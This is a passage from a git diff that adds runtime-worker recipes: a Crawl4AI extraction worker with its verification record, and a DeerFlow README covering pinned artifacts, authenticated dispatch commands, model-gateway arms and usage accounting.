messages; transcript/OTel attribution and server log/metric increment; WebSocket remains diagnostic.", + "Container LLM remains unqualified; native extraction strict schema and max_tokens=3000 sufficiency still require host evidence." + ], + "changed_files": [ + "blueprints/runtime-workers/crawl4ai/README.md", + "blueprints/runtime-workers/crawl4ai/common.sh", + "blueprints/runtime-workers/crawl4ai/config/compose.yaml", + "blueprints/runtime-workers/crawl4ai/config/worker.json", + "blueprints/runtime-workers/crawl4ai/container-entrypoint.sh", + "blueprints/runtime-workers/crawl4ai/container.sh", + "blueprints/runtime-workers/crawl4ai/dispatch.py", + "blueprints/runtime-workers/crawl4ai/dispatch.sh", + "blueprints/runtime-workers/crawl4ai/e2e/receipt.py", + "blueprints/runtime-workers/crawl4ai/e2e/run.py", + "blueprints/runtime-workers/crawl4ai/grader/package.json", + "blueprints/runtime-workers/crawl4ai/grader/package-lock.json", + "blueprints/runtime-workers/crawl4ai/install.sh", + "blueprints/runtime-workers/crawl4ai/mcp-config.py", + "blueprints/runtime-workers/crawl4ai/pins.json", + "blueprints/runtime-workers/crawl4ai/research.md", + "blueprints/runtime-workers/crawl4ai/run-e2e.sh", + "blueprints/runtime-workers/crawl4ai/verification-round3.json", + "blueprints/runtime-workers/crawl4ai/worker.py", + "tests/test_runtime_worker_crawl4ai.py" + ] +} diff --git a/blueprints/runtime-workers/crawl4ai/verification.json b/blueprints/runtime-workers/crawl4ai/verification.json new file mode 100644 index 000000000..84fc87ca7 --- /dev/null +++ b/blueprints/runtime-workers/crawl4ai/verification.json @@ -0,0 +1,85 @@ +{ + "schema_version": 1, + "date": "2026-09-27", + "evidence_class": "local structural and synthetic checks only", + "fail_first": { + "command": "python3 -m unittest discover -s tests -p test_runtime_worker_crawl4ai.py", + "exit_code": 1, + "recipe_directory_existed": false, + "returned_summary": "Ran 6 tests in 0.003s\nFAILED (failures=3, errors=3)", + "sanitization": "Only exact terminal summary retained; private absolute paths in missing-file tracebacks omitted" + }, + "final_unit": { + "command": "python3 -m unittest discover -s tests -p test_runtime_worker_crawl4ai.py", + "exit_code": 0, + "stdout": "", + "stderr": ".........\n----------------------------------------------------------------------\nRan 9 tests in 0.335s\n\nOK\n" + }, + "shell_syntax": { + "command": [ + "bash", + "-n", + "blueprints/runtime-workers/crawl4ai/common.sh", + "blueprints/runtime-workers/crawl4ai/container-entrypoint.sh", + "blueprints/runtime-workers/crawl4ai/container.sh", + "blueprints/runtime-workers/crawl4ai/install.sh", + "blueprints/runtime-workers/crawl4ai/run-e2e.sh" + ], + "exit_code": 0, + "stdout": "", + "stderr": "" + }, + "python_syntax": { + "method": "stdlib ast.parse; no imports or code execution", + "files": 7, + "passed": true + }, + "publication_validation": { + "command": "python3 scripts/validate.py", + "exit_code": 0, + "returned_output": "{\"components\": 69, \"hashed_files\": 7345, \"profiles\": 4, \"receipts\": 159, \"status\": \"passed\"}\nIntegrity and scope checks only; no live provider or GPU execution.", + "scope": "observed after replacing the container-home literal; rerun after final evidence write" + }, + "host_execution": { + "install": false, + "docker_pull": false, + "service_start": false, + "model_calls": false, + "live_gateway_database_read": false, + "unchanged_upstream_tests": "not run" + }, + "test_sha256": "44521b58dd752afb932431ba0d39e9e1a4ebee1b0322cdebb986df21c2c8760d", + "recipe_hashes": { + "README.md": "f72d934365ec77c4d2f3a6dfd2213045321d53208789326309c9a65c908f2228", + "browser-artifacts.json": "2ccc245dc89b29d7586e8278d808301117d22740ad171810b06245201601da2d", + "common.sh": "28a6c62a6063e49ce4a49c6e49c39dffe11d3ca3e6118a4bc5f3091cbefeabf0", + "config/compose.yaml": "1fee368ad1f278f9ff7b82eb2010d470b29aba5d0b9fbf7f453ae9b8c82a2a73", + "config/host.example.json": "e096e196c7324a67de265fb58371747b72ef94a4f4e445ea66e216b8c44ed9b4", + "config/logging.ini": "b495284f90c1b328e98e7ab6dc48c7be37b7a35140a90e270ead4fef133098d8", + "config/mcp-policy.json": "7c253c5e14045a7310025b71ff21d45a8ef6002c22f7dc917084d3e1d152e8e1", + "config/server.yml": "2d77b444912fa70eac926a87b37ad4e5335f6953475a0702ecf52900972acac9", + "config/supervisord.conf": "a145e5d4db3d7f659a74246eaabf5d11e547d4368008bb796afb2e7fbbb7a548", + "config/worker.json": "430188ff02afb22e5e4f1939ec6a21769f73d9f9c8f0956d7faf156533cf8076", + "container-entrypoint.sh": "fe4072118c6d318b6e51ffbe11448ce57ad6f2470fd2e67d20815af8967f9510", + "container.sh": "67cec78b10d8d5cc12109a0f483f462870bc50ccbce7f9ef16dff37b4070f708", + "e2e/check.py": "a1c362f9e379b9e8d391ce607a0f497ee76d1261eba13ad898377d01cfe60fc1", + "e2e/expected.json": "254d9c19cafb60b6352979a7e15d94019555aa28f82cb4e30b8748607cf07d64", + "e2e/fixtures/beacon.html": "d743937367e843d738223dc1dc7aac0db363ef5173c53d188a68136d63f8739e", + "e2e/fixtures/flask.html": "b643e3617fc0681d2775da7f53bced1c8b60235b5f940af712bcad44d9a1d852", + "e2e/fixtures/lamp.html": "5d3e3fdc038def93ef353119fbbb06ed6fc8e311c89f1eed1785363b6256348f", + "e2e/mcp_probe.py": "9f2f8e4e97c0ca59a6ed01338f000a1b9187edf9d8f71b8267e84801fb11a93d", + "e2e/receipt.py": "5c7ee007c45dc1b086b65c6dbdd466611011812dbcb059831f5499c87fd4fc7b", + "e2e/run.py": "bde23a05cbf39c7155e8d85ec13aa3cfb64beb0374aa18242ac242e91ca1d811", + "e2e/schema.json": "69747f245f545a29151f17cd4fcbe5dee1418f9176970a67b4ce9f6f094e4d36", + "host.py": "782e9ea4ddf86483aec24ff4df90b74b1b1a8551b40cb4f8f4a43356f46210d4", + "install-browser.py": "7919165002ce74da8274c70ff294ff6eee11481bcbd6a1e45b8539fea9e25729", + "install.sh": "11525ae807096ce96813041017fa1d5a2cf9f1ba53718900d336e0555beddf2f", + "pins.json": "a79f2c194b986285f906a293ee04f2ad436c3fe3d1b571790a2904dda033d3e8", + "registry-evidence.json": "710dc54f473150f9209e76e0a5a889abda8c56c793b3f52b064b624e9a290d29", + "requirements.in": "f922a5a3f6b978192899aa94a0b64a82e01dbb4782b4cc151ad8a7d2ca5f3d38", + "requirements.lock": "515633e3e9a1c94fc4bf9479f67983ccdc673b0a0f8fe04f27237fc10a53a701", + "research.md": "86d8fb81447bb6d70f28e443383d00441ed295ecbac1bc80801e67da117c7e52", + "run-e2e.sh": "d39d556f748ee5a1cefea6f0dbe17dcbcac08a193fed522c2eae47450da89f44", + "worker.py": "dfd3450936dbcc5103729f8e3a7cf8a6cc27a045727f86774b1e1517b74efbe2" + } +} diff --git a/blueprints/runtime-workers/crawl4ai/worker.py b/blueprints/runtime-workers/crawl4ai/worker.py new file mode 100644 index 000000000..c9d5c9c94 --- /dev/null +++ b/blueprints/runtime-workers/crawl4ai/worker.py @@ -0,0 +1,185 @@ +#!/usr/bin/env python3 +"""Thin native extraction recipe, adapted from the upstream pricing example. + +v0.9.4 docs/examples/llm_extraction_openai_pricing.py:15-53; +docs/md_v2/core/fit-markdown.md; extraction_strategy.py:556-691,784-835. +Filtering is a separate native crawl before extraction so empty fit content cannot +silently fall back to unfiltered markdown (async_webcrawler.py:925-935). +""" +import asyncio +import hashlib +import json +import math +import os +import re +import uuid +from contextlib import AsyncExitStack +from pathlib import Path + + +def selected_arm(): + arm = os.environ.get("CRAWL4AI_ARM", "control") + if arm not in {"control", "engines-on", "comparison"}: + raise ValueError("unknown Crawl4AI arm") + return arm + + +def arm_settings(config, arm): + """Bind the reviewed route, port and effort; no cross-gateway overrides. + + Common round-3 contract; Crawl4AI@133e1d92 async_configs.py:2346-2409. + The optional historical sol/medium comparison remains explicitly selected. + """ + if arm == "primary": # historical callers; new dispatch never emits this name + arm = "control" + if arm not in config["arms"]: + raise ValueError("unknown Crawl4AI arm") + route = dict(config["arms"][arm]) + model = os.environ.get(route["model_env"], route["model"]) + if arm == "engines-on": + valid = model == "sharedgw/gpt-6-astra-max" + else: + valid = re.fullmatch(r"cx/gpt-6(?:-[A-Za-z0-9]+)+", model) is not None + if not valid: + raise ValueError("model must use the selected arm's reviewed GPT-6 route") + base = os.environ.get(route["base_url_env"], route["base_url"]) + if base != route["base_url"]: + raise ValueError("base URL must match the selected arm's loopback gateway") + route.update(arm=arm, model=model, base_url=base) + # Explicit log aliases are exact model strings, never broad prefix matches. + route["gateway_log_models"] = [model, model.split("/", 1)[-1]] + return route + + +def model_for(config, arm): + return arm_settings(config, arm)["model"] + + +def correlation_hook(collector): + """HTTPX@0.28.1 docs/advanced/event-hooks.md:1-52; retain IDs in memory only.""" + def capture(response): + value = response.headers.get("x-correlation-id") + collector.append(value if isinstance(value, str) and re.fullmatch(r"[A-Za-z0-9._:-]{1,200}", value) else None) + return capture + + +def extraction_args(config, arm, schema, session, client=None): + """Native extra_args override, per v0.9.4 utils.py:1825-1837. + + force_json_response retains native JSON parsing; this strict schema replaces + its weaker json_object request. The frozen schema closes every object. + """ + route = arm_settings(config, arm) + extra = { + # Native utils injects 0.01; the pinned LiteLLM fork omits None values. + "temperature": None, + "response_format": {"type": "json_schema", "json_schema": { + "name": "crawl4ai_product", "strict": True, "schema": schema, + }}, + "max_tokens": config["llm"]["max_tokens"], + "timeout": config["llm"]["timeout_seconds"], + "num_retries": 0, + "max_retries": 0, + # unclecode-litellm@1.81.13 utils.py:3925-3942: preserve this + # parameter even when Crawl4AI sets litellm.drop_params=True. + "allowed_openai_params": ["reasoning_effort"], + "reasoning_effort": route["expected_effort"], + "extra_headers": {"x-omniroute-session": session, "Idempotency-Key": uuid.uuid4().hex}, + } + if arm == "engines-on": + extra["extra_headers"]["x-omniroute-compression"] = "allow-lossy" + if client is not None: + extra["client"] = client + return extra + + +async def extract(config, arm, fixture_base, output, artifact_dir, correlation_ids=None): + route = arm_settings(config, arm) + model = model_for(config, arm) + from crawl4ai import AsyncWebCrawler, BrowserConfig, CacheMode, CrawlerRunConfig, LLMConfig + from crawl4ai.content_filter_strategy import PruningContentFilterLXML + from crawl4ai.extraction_strategy import LLMExtractionStrategy + from crawl4ai.markdown_generation_strategy import DefaultMarkdownGenerator + import httpx + from openai import OpenAI + + root = Path(__file__).parent + schema = json.loads((root / "e2e/schema.json").read_text()) + content = config["content"] + session = "crawl4ai-" + uuid.uuid4().hex + browser = BrowserConfig(browser_type="chromium", headless=True, verbose=True) + crawl_config = CrawlerRunConfig( + cache_mode=CacheMode.BYPASS, + excluded_tags=content["excluded_tags"], + word_count_threshold=1, + page_timeout=30000, + markdown_generator=DefaultMarkdownGenerator(content_filter=PruningContentFilterLXML( + threshold=content["pruning_threshold"], + threshold_type=content["pruning_threshold_type"], + min_word_threshold=content["min_word_threshold"], + )), + ) + rows, measurements = [], [] + output.write_text(json.dumps({"records": []})) + async with AsyncExitStack() as stack: + # Native LiteLLM client injection (1.81.13 openai.py:741-790). + # A synchronous HTTPX hook observes each wire response, before parsing; + # it captures only X-Correlation-Id, never bodies or other headers. + ids = correlation_ids if correlation_ids is not None else [] + client = stack.enter_context(OpenAI( + api_key=config["llm"]["api_token"], base_url=route["base_url"], max_retries=0, + http_client=httpx.Client(event_hooks={"response": [correlation_hook(ids)]}), + )) + crawler = await stack.enter_async_context(AsyncWebCrawler(config=browser)) + for index, page in enumerate(config["e2e"]["pages"]): + url = fixture_base + "/" + page + crawled = await crawler.arun(url=url, config=crawl_config) + if not crawled.success or not crawled.markdown: + raise ValueError("native crawl failed") + fit = crawled.markdown.fit_markdown + estimate = math.ceil(len(fit.split()) * content["word_token_rate"]) if fit else 0 + if not fit or len(fit) > content["max_fit_characters"] or estimate > content["chunk_token_threshold"]: + raise ValueError("filtered content empty or exceeds the frozen one-chunk budget") + (artifact_dir / f"page-{index}.fit.md").write_text(fit) + strategy = LLMExtractionStrategy( + llm_config=LLMConfig(provider=config["llm"]["provider_prefix"] + model, + api_token=config["llm"]["api_token"], base_url=route["base_url"], + backoff_max_attempts=1), + schema=schema, + extraction_type="schema", + input_format="fit_markdown", + force_json_response=True, + instruction="Extract exactly the current product described in the article. Return one JSON object matching the schema, with no wrapper or extra keys. Keep price_usd as a two-decimal string. Do not infer facts from navigation or historical promotions.", + chunk_token_threshold=content["chunk_token_threshold"], + overlap_rate=content["overlap_rate"], + word_token_rate=content["word_token_rate"], + apply_chunking=False, + extra_args=extraction_args(config, arm, schema, session, client=client), + ) + extracted = await asyncio.to_thread(strategy.run, url, [fit]) + (artifact_dir / f"page-{index}.raw.json").write_text(json.dumps(extracted)) + if not isinstance(extracted, list) or len(extracted) != 1 or not isinstance(extracted[0], dict): + raise ValueError("native extraction did not return exactly one product") + row = dict(extracted[0]) + # Native non-JSON parsing can attach error=False; do not remove errors. + if row.get("error") is False: + del row["error"] + rows.append(row) + output.write_text(json.dumps({"records": rows}, indent=2)) + measurements.append({ + "page": page, + "raw_markdown_bytes": len(crawled.markdown.raw_markdown.encode()), + "fit_markdown_bytes": len(fit.encode()), + "fit_sha256": hashlib.sha256(fit.encode()).hexdigest(), + "estimated_chunk_tokens": estimate, + }) + return measurements + + +if __name__ == "__main__": + # Model read-back for container.sh; importing this file makes no provider call. + import argparse + parser = argparse.ArgumentParser() + parser.add_argument("--field", choices=("model", "container_base_url"), default="model") + args = parser.parse_args() + print(arm_settings(json.loads((Path(__file__).parent / "config/worker.json").read_text()), selected_arm())[args.field]) diff --git a/blueprints/runtime-workers/deerflow/.gitignore b/blueprints/runtime-workers/deerflow/.gitignore new file mode 100644 index 000000000..c05d83db0 --- /dev/null +++ b/blueprints/runtime-workers/deerflow/.gitignore @@ -0,0 +1,3 @@ +.research/ +__pycache__/ +*.pyc diff --git a/blueprints/runtime-workers/deerflow/README.md b/blueprints/runtime-workers/deerflow/README.md new file mode 100644 index 000000000..efbb02467 --- /dev/null +++ b/blueprints/runtime-workers/deerflow/README.md @@ -0,0 +1,171 @@ +# DeerFlow runtime worker candidate + +DeerFlow 2.1.0 is a **draft multi-agent runtime-worker recipe**, powered by GPT-6 through the local OmniRoute gateway. The deliverable is configuration, installation instructions, and a DeerFlow transport solver for the upstream GAIA benchmark. Source inspection and offline integration checks are evidence for this recipe; Docker startup, model calls, and runtime acceptance must be measured by the coordinator. No host installation, image pull, service start, production-service modification, or live E2E was performed while building it. This belongs to `lane:foundation`; the trading DeerFlow/codex-acp recipe is reference only. + +## Native qualification, 2026-09-30 + +An isolated native backend installation and CLI check completed. Three selected +unchanged upstream backend files returned **309 passed**; the unchanged GAIA +scorer tests returned **eight passed**. Backend `uv pip check` still exits 1 for +the upstream's explicit websockets override; no service/model/GAIA task score is +claimed. Exact commands, original source comparisons and retained failures are +in the [native receipt](../../../evidence/artifacts/runtime-roster-20260930/deerflow-native.json) +and [qualification note](../../../evidence/artifacts/runtime-roster-20260930/README-deerflow.md). +The construction records below describe the earlier source/offline rounds. + +The selected source is [bytedance/deer-flow v2.1.0](https://github.com/bytedance/deer-flow/releases/tag/v2.1.0), annotated tag object `f6e747be2486d3f75b0d66a8b17d8fb0ffd5f8ce`, commit **`345f08be00c8a9495079b732a39b46aa9af1584e`**. [pins.json](pins.json) is the machine-readable artifact record. The exact archive and upstream lockfile hashes, calculated from returned bytes on 2026-09-27, are: + +| Artifact | SHA256 | +| --- | --- | +| GitHub codeload archive at the commit | `de309ec407d0b5b9ef1855a2cdcd97d9a9c2c95d0b0029cde6c79b9212518ffe` | +| `backend/uv.lock` | `3cc643cd34374384c62de7fd8cef49cc4608df01ea11eff85daeea51f5cf0d5f` | +| `frontend/pnpm-lock.yaml` | `cee8007d2e1b10eb84c853971130cbb8ba5e0893fd0c0a381f840e77b6a2ed5b` | +| Official backend image manifest | `68426f84f06f91a44f61c9620c9badffec162133615d351f1d40db0982a753e6` | +| Official frontend image manifest | `2f10108592ddb2f93ff5c62f670e010cd4123c4e93eed6bc0ce5fd2bf426f0db` | +| Upstream `redis:7-alpine` manifest index, resolved 2026-09-27 | `858f009f9709ce576febc734aa78b8f6d624b82571f9ddb6bda4377c833b3499` | +| Upstream `nginx:alpine` manifest index, resolved 2026-09-27 | `df221db836e1754089190208cee7eeda94f233197056426eda74a43ab1abeac2` | + +Registry metadata was fetched without downloading image layers. SHA256 of each manifest response matched its `Docker-Content-Digest` header. The backend and frontend image configuration labels matched the selected source revision and `v2.1.0`; their manifests are `linux/amd64`. Redis and nginx are dated resolutions of tags used by upstream, not pins published in the DeerFlow release. The upstream [container publication workflow, lines 15–114](https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/.github/workflows/container.yaml#L15-L114) builds and publishes the official images. Attestations were not verified. Pulling these digests preserves the built artifacts; it does not establish reproducibility of upstream's mutable APT, NodeSource, npm, and base-image build inputs. + +Upstream supports these installation paths: + +| Path | Source at the pin | Decision | +| --- | --- | --- | +| Docker development: `make docker-init`, `make docker-start` | [README:283–299](https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/README.md#L283-L299) | Supported; avoid development dependency synchronization for this recipe. | +| Production Compose: `scripts/deploy.sh build/start/down` | [README:500–528](https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/README.md#L500-L528), [Compose:27–162](https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/docker/docker-compose.yaml#L27-L162) | **Chosen:** same gateway/frontend/Redis/nginx topology, using official release digests and private worker paths. | +| Native source: `make check`, `make install`, `make dev` | [README:377–424](https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/README.md#L377-L424), [Makefile:94–101](https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/Makefile#L94-L101) | Alternative for host-resident stdio tools. Do not invoke `make install` here: it also installs pre-commit and changes Git hooks. | +| Locked dependency installation inside upstream images | [backend/Dockerfile:61–74](https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/Dockerfile#L61-L74), [frontend/Dockerfile:10–40](https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/frontend/Dockerfile#L10-L40) | `uv sync --locked --extra redis` and `pnpm install --frozen-lockfile` already ran in the published builds. This installer verifies/pulls image digests instead of repeating those builds. | + +The recipe remains a draft. Round 3 changes configuration and host-side adapters; it does not claim installation, container networking, native dispatch, or a GAIA score. The repair used the installed search-first, find-skills, tdd and verification-before-completion guidance inline. The maintained reference is the upstream `claude-to-deerflow` skill at the selected DeerFlow commit, with its Gateway API; no additional skill or runtime was installed. See [round3-verification.md](round3-verification.md) and [round3-verification.json](round3-verification.json) for findings, sources, failing controls, passing checks and remaining host gates. + +## Workflow dispatch + +Workflow children use [deerflow-run](deerflow-run), a Bash entry point for the native Gateway HTTP API. It follows **bytedance/deer-flow@345f08be00c8a9495079b732a39b46aa9af1584e**, [skills/public/claude-to-deerflow/scripts/chat.sh:24–90,140–164](https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/skills/public/claude-to-deerflow/scripts/chat.sh#L24) and [backend/app/gateway/routers/thread_runs.py:923–939,1143–1168,1528–1560](https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/app/gateway/routers/thread_runs.py#L923). The wrapper adds Bearer authentication, background create/poll, a caller-supplied stable ID, private result files and explicit evidence exits. Python's standard HTTP client keeps the PAT out of process arguments. Redirects and ambient HTTP proxies are refused for authenticated API calls. + +The coordinator first installs the recipe, starts the chosen server arm, initializes the first user in the UI at `http://127.0.0.1:3771`, and creates a PAT from that user's interactive session. Required scopes are `threads:write`, `threads:read`, `runs:create`, `runs:read`, and `runs:cancel`. Save it as a caller-owned mode-0600 file outside every worktree and export **only its path** as `DEERFLOW_PAT_FILE`. Source: DeerFlow@345f08be [backend/app/gateway/auth/pat.py:28–40,53–116](https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/app/gateway/auth/pat.py#L28), [routers/auth.py:651–704](https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/app/gateway/routers/auth.py#L651), and [csrf_middleware.py:230–234](https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/app/gateway/csrf_middleware.py#L230). Authentication remains enabled; the wrapper does not use the internal service token. + +These are the exact commands a Bash workflow child runs after that setup: + +```sh +export PYTHONDONTWRITEBYTECODE=1 +export DEERFLOW_RECIPE="$HOME/.local/share/codex-ecosystem/tools/deerflow-2.1.0" +export DEERFLOW_PAT_FILE=/private/path/deerflow-workflow.pat +export RUNTIME_WORKER_ARM=control + +rtk bash "$DEERFLOW_RECIPE/deerflow-run" start \ + --run-id wf-example-001 --arm "$RUNTIME_WORKER_ARM" \ + --caller workflow-name/stage-name --mode pro 'The bounded research task' +rtk bash "$DEERFLOW_RECIPE/deerflow-run" wait \ + --run-id wf-example-001 --arm "$RUNTIME_WORKER_ARM" --timeout 540 --interval 10 +rtk bash "$DEERFLOW_RECIPE/deerflow-run" result \ + --run-id wf-example-001 --arm "$RUNTIME_WORKER_ARM" +# When cancellation is required: +rtk bash "$DEERFLOW_RECIPE/deerflow-run" cancel \ + --run-id wf-example-001 --arm "$RUNTIME_WORKER_ARM" +``` + +Keep `wait --timeout` below the child's Bash timeout; use the child's supported background Bash mode for long waits, or call `wait` again after exit 3. Modes `flash`, `standard`, `pro`, `ultra` copy the upstream context flags, with max provider effort enforced independently of those flags: DeerFlow@345f08be [skills/public/claude-to-deerflow/SKILL.md:104–108](https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/skills/public/claude-to-deerflow/SKILL.md#L104). `on_disconnect: continue` and background `POST /runs` avoid tying the run to a waiting Bash process: [backend/app/gateway/run_models.py:29–58](https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/app/gateway/run_models.py#L29). + +The state root is `$HOME/.local/state/native-agent-stack/runtime-workers/deerflow`. For `wf-example-001`, deterministic private paths are: + +- `dispatch/wf-example-001/status.json`: written before the first HTTP call; contains native IDs, arm, caller, idempotency key and current state. +- `dispatch/wf-example-001/result.json`: initialized at start; final answer, exit classification and receipt pointer after `result`. +- `dispatch/wf-example-001/receipt.json`: sanitized run counters, independent gateway observations and compression delta, without native, trace or correlation IDs. +- `dispatch.jsonl`: one private mode-0600 ledger entry per acknowledged native run. Native IDs and trace IDs stay here and in status, outside receipts. + +Every command prints JSON containing deterministic artifact paths. `start` also returns native thread/run IDs. Retrying an identical stable ID reuses the native idempotency key; a changed prompt, caller or mode is refused. If create's response is lost after thread creation, exit 3 preserves the active slot for retry. Dispatches are serial. The native messages endpoint returns `{data, has_more}`; the wrapper follows `before_seq` pages and unwraps each RunEvent content field and extracts the final lead-agent AI text, including text blocks. Middleware/child messages cannot replace the lead answer. The envelope is specified in DeerFlow@345f08be `backend/packages/harness/deerflow/runtime/events/store/base.py:32–43,54–55` and `runtime/journal.py:512–522`. Source: DeerFlow@345f08be [thread_runs.py:1528–1560](https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/app/gateway/routers/thread_runs.py#L1528) and [pagination.py:6–15](https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/app/gateway/pagination.py#L6). + +| Exit | Meaning | +| --- | --- | +| 0 | `start`: accepted; `wait`: native success; `result`: native success, nonempty answer and complete independent gateway/effort evidence. Generic dispatch has no answer-quality grader. | +| 1 | Negative native outcome (`error`, `timeout`, `cancelled`), or an official GAIA accuracy below 1 in the E2E adapter. | +| 2 | Setup/configuration/authentication/transport failure. | +| 3 | Still running at the wait deadline, interrupted, ambiguous create, requested cancellation awaiting observation, or incomplete evidence. A correct GAIA answer with missing evidence also returns 3. | + +Count Claude-side invocations from child-usage and OTel **Bash tool events**, matching this entry point and stable `--run-id` (normalize the `rtk bash` prefix and do not count wait/result polls as new invocations). Reconcile with the private ledger and native `GET /threads/{tid}/runs/{rid}` records by native run ID. Native `llm_call_count` counts model calls, not wrapper invocations. Keep these lanes separate. Sources: DeerFlow@345f08be [thread_runs.py:223–242](https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/app/gateway/routers/thread_runs.py#L223), [console.py:278–425](https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/app/gateway/routers/console.py#L278). Console aggregates require the owning user's login session; the PAT route policy does not include console routes. Host OTel/child-usage collection and native-record reconciliation remain unmeasured. + +## Arms + +**`RUNTIME_WORKER_ARM=control|engines-on`**, default `control`, is the arm switch. `--arm` overrides it for a dispatch or E2E invocation. The only optional control-model override is **`DEERFLOW_CONTROL_MODEL=cx/gpt-6--max`**, preserving the recipe's existing GPT-6 max routes; the private host file's `model` is the fallback. Engines-on always selects `sharedgw/gpt-6-astra-max` with exactly one slash. + +| Arm | Host gateway | Container model base URL | Model | Experimental header | +| --- | --- | --- | --- | --- | +| control | `http://127.0.0.1:20128/v1` | `http://10.0.2.2:20128/v1` | `cx/gpt-6-astra-max` | None | +| engines-on | `http://127.0.0.1:20129/v1` | `http://10.0.2.2:20129/v1` | `sharedgw/gpt-6-astra-max` | `x-omniroute-compression: allow-lossy` | + +The arm table is the coordinator's 2026-09-27 round-3 gateway contract. The previous review's `sharedgw/cx/...` proposal is declined in favor of this contract. Config uses `$DEERFLOW_BASE_URL` and `$DEERFLOW_MODEL`; their container environment values are derived from the arm, not arbitrary user endpoints. Both arms retain conversation affinity and per-call idempotency, omit temperature and send Responses `reasoning.effort=max`. No `X-OmniRoute-No-Cache` header is sent. Receipts record the arm, model, base URL, effort and **header names only**. + +The HTTP client remains the pinned LangChain `ChatOpenAI`, including native sync/async streaming, tools, retries and structured-output parser. Config sets `include_response_headers: true` and explicit `openai_proxy: http://egress:3128`. The fixed forwarding service is the only network path to the selected model gateway. Sources: **langchain-ai/langchain, langchain-openai==1.2.1**, SHA256-verified sdist in [pins.json](pins.json), `langchain_openai/chat_models/base.py:668–670,934–935,1220–1242,1404–1411,1462–1469,1683–1712,3327–3345`; DeerFlow@345f08be [config/app_config.py:432,565](https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/packages/harness/deerflow/config/app_config.py#L565), [models/factory.py:248–285](https://github.com/bytedance/deer-flow/blob/345f08be00c8a9495079b732a39b46aa9af1584e/backend/packages/harness/deerflow/models/factory.py#L248). + +Embedded GAIA selects its arm per invocation. The persistent HTTP Gateway has one active arm: the coordinator selects it without reinstalling, after finishing existing dispatches: + +```sh +rtk env PYTHONDONTWRITEBYTECODE=1 RUNTIME_WORKER_ARM=control \ + bash blueprints/runtime-workers/deerflow/lifecycle.sh up +# For a later engines-on run: +rtk env PYTHONDONTWRITEBYTECODE=1 RUNTIME_WORKER_ARM=engines-on \ + bash blueprints/runtime-workers/deerflow/lifecycle.sh up +``` + +`up` re-renders and recreates owned services, including the fixed forwarder. It refuses a switch while a recorded dispatch is active. A workflow child validates the running Gateway's immutable arm/model/base-URL labels before posting; it cannot change model endpoints through the API. An arm mismatch is setup failure. This preserves the upstream model-config boundary, rather than claiming that a per-request context can replace server transport settings. + +Native summarization, tool-output externalization, token budgets, deferred skill/tool discovery and bounded subagents remain configured in [config.yaml.template](config.yaml.template). Lead and summary model name is `worker`; subagents inherit it. Structured output uses upstream function calling with `strict=False` and the native parser. Direct raw JSON modes remain refused. Feature sources at DeerFlow@345f08be: `config/summarization_config.py:55–94`, `tool_output_config.py:12–118`, `token_budget_config.py:6–20`, `subagents_config.py:74–174`, `subagent_runtime_config.py:8–36`, `skills_config.py:18–39` under `backend/packages/harness/deerflow`. + +## Usage accounting + +The entry gateway is the only SQL counter source: control reads `~/.local/share/omniroute/storage.sqlite`; engines-on reads `~/.local/share/omniroute-fw/storage.sqlite`. SQLite opens with `?mode=ro`, never creates a missing database, and uses an authorizer limited to `call_logs` and the permitted columns. **The coordinator must verify that the engines-on path belongs to port 20129 before acceptance.** A missing/unreadable store produces `unavailable`, not zero usage. The 20128 forwarding leg is never added to the 20129 entry counters. + +Read columns are `timestamp`, `path`, `status`, `model`, `tokens_in`, `tokens_cache_read`, `tokens_reasoning`, `correlation_id`, plus `reasoning_effort_requested` and `reasoning_effort_upstream` required by common requirement 3. Correlation IDs are used transiently to join and are omitted from receipts. Duplicate IDs in matching SQL rows are ambiguous and make evidence incomplete. Cache-read and reasoning counters are reported separately; no sum of subset counters is presented as total provider usage. The authorized projection does not contain output-token totals. + +For isolated E2E, the independent nginx forwarding container captures every returned `X-Correlation-Id` in its native access log; the host saves that log outside every model-visible mount. Generic dispatch extracts headers that the native run's messages expose. SQL observations require matching window, model, path and captured correlation IDs. Complete correlated rows produce entry-gateway counter sums. With no IDs, the explicit fallback is **time window + model + path at the arm's entry gateway**; concurrent traffic may be included, attribution remains unknown and `usage_total` is null. Partial dispatch visibility, such as missing summary/subagent response headers, remains incomplete when correlation count differs from native `llm_call_count`. + +Source: **diegosouzapw/OmniRoute@a58000c7685f4091c7a6fd8ddf3ebce7d2ec67c3**, `src/sse/handlers/chat.ts:436`, `src/sse/handlers/chatHelpers.ts:1172–1184`, and [src/lib/usage/callLogs.ts:628–653,779–800](https://github.com/diegosouzapw/OmniRoute/blob/a58000c7685f4091c7a6fd8ddf3ebce7d2ec67c3/src/lib/usage/callLogs.ts#L628). The host runs a patched build; its exact match to the coordinator's common contract remains a host check. + +Effort reporting separates rows with returned reasoning from rows with zero returned reasoning. For positive reasoning tokens, logged requested/upstream effort must both be max before evidence is complete; non-max and unobserved effort have separate counts. **Null effort does not mean effort was missing:** the pinned `callLogs.ts:646–653` 